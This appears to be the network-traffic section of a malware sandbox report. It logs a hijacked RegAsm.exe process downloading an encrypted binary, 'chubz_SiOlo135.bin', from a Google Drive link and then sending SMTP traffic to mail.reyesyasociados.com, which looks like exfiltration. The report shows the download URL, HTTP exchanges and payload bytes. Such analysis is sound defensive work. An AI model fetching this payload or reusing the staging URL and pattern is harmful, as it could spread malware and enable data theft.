Sep 24, 2021 21:53:40.615346909 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615495920 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615557909 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615612030 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.615617990 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615685940 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615708113 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615758896 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.615838051 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.615844965 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616123915 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.616128922 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616508961 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.616517067 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616573095 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616605997 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616635084 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616677046 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.616683960 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616853952 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.616862059 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.616863966 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.616867065 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.616869926 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.617064953 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617336988 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.617455959 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.617476940 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.617525101 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.617595911 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617602110 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.617604017 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617605925 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617760897 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617957115 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617961884 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.617996931 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.618141890 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.618165970 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.618215084 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.618328094 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618335962 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.618339062 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618370056 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618371964 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618374109 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618545055 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618736982 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618738890 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.618880987 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619024992 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619030952 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619062901 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619088888 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619138002 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619251013 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619257927 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619261026 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619262934 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619298935 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619301081 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619474888 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.619843006 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.619987011 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620095968 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.620100975 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620105982 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620273113 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.620277882 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.620321989 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620368958 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620420933 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620449066 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.620455027 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.620640039 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.620646954 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621011019 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.621015072 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621345997 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621417999 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621454000 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621498108 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.621505022 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621576071 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621609926 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:53:40.621766090 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.621957064 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.621967077 CEST	49722	443	192.168.11.20	142.250.184.193
Sep 24, 2021 21:53:40.621977091 CEST	443	49722	142.250.184.193	192.168.11.20
Sep 24, 2021 21:55:17.493928909 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.512986898 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.513154984 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.533759117 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.534394979 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.553822994 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.554167032 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.576742887 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.585071087 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.613168955 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.613249063 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.613298893 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.613332033 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.613534927 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.615037918 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.618840933 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.638351917 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.681966066 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.805083036 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.824032068 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.825143099 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.844841957 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.845398903 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.873142958 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.873708963 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.893058062 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.893383980 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.914047003 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.914442062 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:17.933800936 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:17.978692055 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:18.007266998 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:18.007287979 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:18.007344961 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:18.007349968 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:55:18.026417971 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:18.026441097 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:18.027031898 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:18.041021109 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:55:18.088069916 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:56:57.410578012 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:56:57.431380987 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:56:57.431430101 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:56:57.431588888 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:56:57.431988001 CEST	49743	587	192.168.11.20	109.169.39.245
Sep 24, 2021 21:56:57.432931900 CEST	587	49743	109.169.39.245	192.168.11.20
Sep 24, 2021 21:56:57.433176994 CEST	49743	587	192.168.11.20	109.169.39.245

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 24, 2021 21:52:45.530008078 CEST	53134	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:45.593310118 CEST	53	53134	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:45.721664906 CEST	60373	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:45.789410114 CEST	53	60373	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:48.812906981 CEST	53417	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:48.822045088 CEST	53	53417	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:49.717082977 CEST	59186	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:49.725539923 CEST	53	59186	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:50.339682102 CEST	57172	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:50.348833084 CEST	53	57172	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:50.946906090 CEST	52436	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:50.955981970 CEST	53	52436	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:55.749419928 CEST	62497	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:55.757908106 CEST	53	62497	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:56.433815002 CEST	64797	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:56.442091942 CEST	53	64797	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:58.951875925 CEST	61514	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:58.960083008 CEST	53	61514	1.1.1.1	192.168.11.20
Sep 24, 2021 21:52:59.733145952 CEST	58703	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:52:59.741777897 CEST	53	58703	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:00.802736044 CEST	58693	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:00.811472893 CEST	53	58693	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:00.825413942 CEST	56359	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:00.833789110 CEST	53	56359	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:01.410691977 CEST	62772	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:01.421468019 CEST	53	62772	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:01.562097073 CEST	58417	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:01.570936918 CEST	53	58417	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:01.576401949 CEST	63371	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:01.589829922 CEST	53	63371	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:39.203666925 CEST	58089	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:39.212166071 CEST	53	58089	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:40.197762966 CEST	52362	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:40.229053974 CEST	53	52362	1.1.1.1	192.168.11.20
Sep 24, 2021 21:53:59.731422901 CEST	51116	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:53:59.740138054 CEST	53	51116	1.1.1.1	192.168.11.20
Sep 24, 2021 21:54:00.154495955 CEST	62160	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:54:00.163142920 CEST	53	62160	1.1.1.1	192.168.11.20
Sep 24, 2021 21:54:00.555723906 CEST	54356	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:54:00.566026926 CEST	53	54356	1.1.1.1	192.168.11.20
Sep 24, 2021 21:54:02.550004959 CEST	64740	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:54:02.558995008 CEST	53	64740	1.1.1.1	192.168.11.20
Sep 24, 2021 21:55:03.444257021 CEST	62892	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:55:03.452903032 CEST	53	62892	1.1.1.1	192.168.11.20
Sep 24, 2021 21:55:17.382129908 CEST	62218	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:55:17.446357012 CEST	53	62218	1.1.1.1	192.168.11.20
Sep 24, 2021 21:56:55.828043938 CEST	49612	53	192.168.11.20	1.1.1.1
Sep 24, 2021 21:56:55.836582899 CEST	53	49612	1.1.1.1	192.168.11.20
Sep 24, 2021 22:00:55.914278984 CEST	56709	53	192.168.11.20	1.1.1.1
Sep 24, 2021 22:00:55.922959089 CEST	53	56709	1.1.1.1	192.168.11.20
Sep 24, 2021 22:00:59.550578117 CEST	56089	53	192.168.11.20	1.1.1.1
Sep 24, 2021 22:00:59.558967113 CEST	53	56089	1.1.1.1	192.168.11.20

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Sep 24, 2021 21:53:39.203666925 CEST	192.168.11.20	1.1.1.1	0x8d2d	Standard query (0)	drive.google.com	A (IP address)	IN (0x0001)
Sep 24, 2021 21:53:40.197762966 CEST	192.168.11.20	1.1.1.1	0x602e	Standard query (0)	doc-00-04-docs.googleusercontent.com	A (IP address)	IN (0x0001)
Sep 24, 2021 21:55:17.382129908 CEST	192.168.11.20	1.1.1.1	0x4ee2	Standard query (0)	mail.reyesyasociados.com	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Sep 24, 2021 21:52:48.822045088 CEST	1.1.1.1	192.168.11.20	0xb797	No error (0)	devcenterapi.azure-api.net	apimgmttmr17ij3jt5dneg64srod9jevcuajxaoube4brtu9cq.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)
Sep 24, 2021 21:52:48.822045088 CEST	1.1.1.1	192.168.11.20	0xb797	No error (0)	devcenterapi-eastus-01.regional.azure-api.net	apimgmthszbjimgeglorvthkncixvpso9vnynvh3ehmsdll33a.cloudapp.net		CNAME (Canonical name)	IN (0x0001)
Sep 24, 2021 21:53:39.212166071 CEST	1.1.1.1	192.168.11.20	0x8d2d	No error (0)	drive.google.com		142.250.186.142	A (IP address)	IN (0x0001)
Sep 24, 2021 21:53:40.229053974 CEST	1.1.1.1	192.168.11.20	0x602e	No error (0)	doc-00-04-docs.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)
Sep 24, 2021 21:53:40.229053974 CEST	1.1.1.1	192.168.11.20	0x602e	No error (0)	googlehosted.l.googleusercontent.com		142.250.184.193	A (IP address)	IN (0x0001)
Sep 24, 2021 21:55:17.446357012 CEST	1.1.1.1	192.168.11.20	0x4ee2	No error (0)	mail.reyesyasociados.com		109.169.39.245	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

drive.google.com

doc-00-04-docs.googleusercontent.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.11.20	49721	142.250.186.142	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-24 19:53:39 UTC	0	OUT	GET /uc?export=download&id=1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie- HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2021-09-24 19:53:40 UTC	0	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Fri, 24 Sep 2021 19:53:40 GMT Location: https://doc-00-04-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm4qcasn0vhrka4v4fvnfn0u94/1632513150000/07102252199039532779/*/1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-?e=download P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Security-Policy: script-src 'nonce-SKlHfyOXgBUTfnsUmgZxdw' 'unsafe-inline' 'strict-dynamic' https: http: 'unsafe-eval';object-src 'none';base-uri 'self';report-uri https://csp.withgoogle.com/csp/drive-explorer/ X-Content-Type-Options: nosniff X-Frame-Options: SAMEORIGIN X-XSS-Protection: 1; mode=block Server: GSE Set-Cookie: NID=511=l6zwVJQDH6KMbmx_5GGPD7_ztlAaZjISTOCWdETDnypk_aPFZLilOxiYA-t1aoS9ClPxALH1TKXfgRsK5RgnwnqSlq17HnGDkNfEAqPDgBm4_OeZESnGZzv8daqaFB2zgzsjmTjK6ZhGP8PK3bOevldPFJlgZaf7GFEo51EuMhU; expires=Sat, 26-Mar-2022 19:53:39 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2021-09-24 19:53:40 UTC	1	IN	Data Raw: 31 38 34 0d 0a 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 64 6f 63 2d 30 30 2d 30 34 2d 64 6f 63 73 2e 67 6f 6f 67 6c 65 75 73 65 72 63 6f 6e 74 65 6e 74 2e 63 6f 6d 2f 64 6f 63 73 2f 73 65 63 75 72 65 73 63 2f 68 61 30 72 6f 39 33 37 67 63 75 63 37 6c 37 64 65 66 66 6b 73 75 6c 68 67 35 68 37 6d 62 70 31 2f 6d 70 32 33 Data Ascii: 184<HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://doc-00-04-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23
2021-09-24 19:53:40 UTC	1	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.11.20	49722	142.250.184.193	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-24 19:53:40 UTC	1	OUT	GET /docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/mp23n2nm4qcasn0vhrka4v4fvnfn0u94/1632513150000/07102252199039532779/*/1rXtKfFihYAq7ZSt7zR_gukVRXKFfOie-?e=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Cache-Control: no-cache Host: doc-00-04-docs.googleusercontent.com Connection: Keep-Alive
2021-09-24 19:53:40 UTC	2	IN	HTTP/1.1 200 OK X-GUploader-UploadID: ADPycdu9cAl3Ulb2geECfsmD5dd3WrS1eEaSmMcKMGFF0vMhK9D-RtcFaKBqdlD78iWrKKDu5Fp4FI2MzWKnN5-G0qdJ05-AKQ Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, x-chrome-connected, X-ClientDetails, X-Client-Version, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogApps-Allowed-Domains, X-Goog-AdX-Buyer-Impersonation, X-Goog-Api-Client, X-Goog-AuthUser, x-goog-ext-124712974-jspb, x-goog-ext-251363160-jspb, x-goog-ext-259736195-jspb, X-Goog-PageId, X-Goog-Encode-Response-If-Executable, X-Goog-Correlation-Id, X-Goog-Request-Info, X-Goog-Request-Reason, X-Goog-Experiments, x-goog-iam-authority-selector, x-goog-iam-authorization-token, X-Goog-Spatula, X-Goog-Travel-Bgr, X-Goog-Travel-Settings, X-Goog-Upload-Command, X-Goog-Upload-Content-Disposition, X-Goog-Upload-Content-Length, X-Goog-Upload-Content-Type, X-Goog-Upload-File-Name, X-Goog-Upload-Header-Content-Encoding, X-Goog-Upload-Header-Content-Length, X-Goog-Upload-Header-Content-Type, X-Goog-Upload-Header-Transfer-Encoding, X-Goog-Upload-Offset, X-Goog-Upload-Protocol, x-goog-user-project, X-Goog-Visitor-Id, X-Goog-FieldMask, X-Google-Project-Override, X-Goog-Api-Key, X-HTTP-Method-Override, X-JavaScript-User-Agent, X-Pan-Versionid, X-Proxied-User-IP, X-Origin, X-Referer, X-Requested-With, X-Stadia-Client-Context, X-Upload-Content-Length, X-Upload-Content-Type, X-Use-HTTP-Status-Code-Override, X-Ios-Bundle-Identifier, X-Android-Package, X-Ariane-Xsrf-Token, X-YouTube-VVT, X-YouTube-Page-CL, X-YouTube-Page-Timestamp, X-Compass-Routing-Destination, x-framework-xsrf-token, X-Goog-Meeting-ABR, X-Goog-Meeting-Botguardid, X-Goog-Meeting-ClientInfo, X-Goog-Meeting-ClientVersion, X-Goog-Meeting-Debugid, X-Goog-Meeting-Identifier, X-Goog-Meeting-RtcClient, X-Goog-Meeting-StartSource, X-Goog-Meeting-Token, X-Client-Data, x-sdm-id-token, X-Sfdc-Authorization, MIME-Version, Content-Transfer-Encoding, X-Earth-Engine-App-ID-Token, X-Earth-Engine-Computation-Profile, X-Earth-Engine-Computation-Profiling, X-Play-Console-Experiments-Override, X-Play-Console-Session-Id, x-alkali-account-key, x-alkali-application-key, x-alkali-auth-apps-namespace, x-alkali-auth-entities-namespace, x-alkali-auth-entity, x-alkali-client-locale, EES-S7E-MODE, cast-device-capabilities, X-Server-Timeout Access-Control-Allow-Methods: GET,OPTIONS Content-Type: application/octet-stream Content-Disposition: attachment;filename="chubz_SiOlo135.bin";filename*=UTF-8''chubz_SiOlo135.bin Date: Fri, 24 Sep 2021 19:53:40 GMT Expires: Fri, 24 Sep 2021 19:53:40 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=JUWQqw== Content-Length: 221760 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-T051=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2021-09-24 19:53:40 UTC	5	IN	Data Raw: 75 ef 4d 08 c1 c0 a6 0f 00 e8 e3 60 2f 2a 9e 6e 6e 78 5d 6a 3a dc 18 80 d8 c7 ac a9 54 84 92 0a 52 70 28 4f e8 3e 32 d1 29 bd 31 89 42 26 94 03 87 e9 da 23 9b 30 04 db 60 61 5d 9c a2 6a 38 17 00 1c 4a 9b 6e 8d 3f d5 e6 46 41 b9 dc d6 80 51 22 27 e7 52 c2 b4 9d 07 31 c9 1f 8b 1b 48 22 73 28 53 de 40 ea 73 d3 57 35 cc 71 b9 39 af 90 57 f8 fe c3 02 5b 40 68 4d b0 69 e6 85 91 a4 5e 7f 45 cb 0c 32 00 95 81 5a ed fa e3 3b a4 1b 65 49 0f b2 c1 51 e6 f3 41 d2 9e e6 a0 5f ac 55 ef bb e5 9b 6f ce 89 0e 17 9b 64 4d fa 59 73 0a 86 52 cc 6d b3 e2 db 6a 14 14 c1 5b dd eb 2e cc ac eb 74 90 95 6c f4 b5 a2 b2 1d 64 27 a3 f0 79 06 32 ab 67 fc 6b d2 31 a6 6c eb 3a 21 55 ba 4d ed 98 eb 55 06 9c 87 14 5d 39 b2 14 56 4b d1 85 97 c8 d6 66 78 a9 28 80 12 fb 46 c2 e4 a8 96 5e b6 Data Ascii: uM`/*nnx]j:TRp(O>2)1B&#0`a]j8Jn?FAQ"'R1H"s(S@sW5q9W[@hMi^E2Z;eIQA_UodMYsRmj[.tld'y2gk1l:!UMU]9VKfx(F^
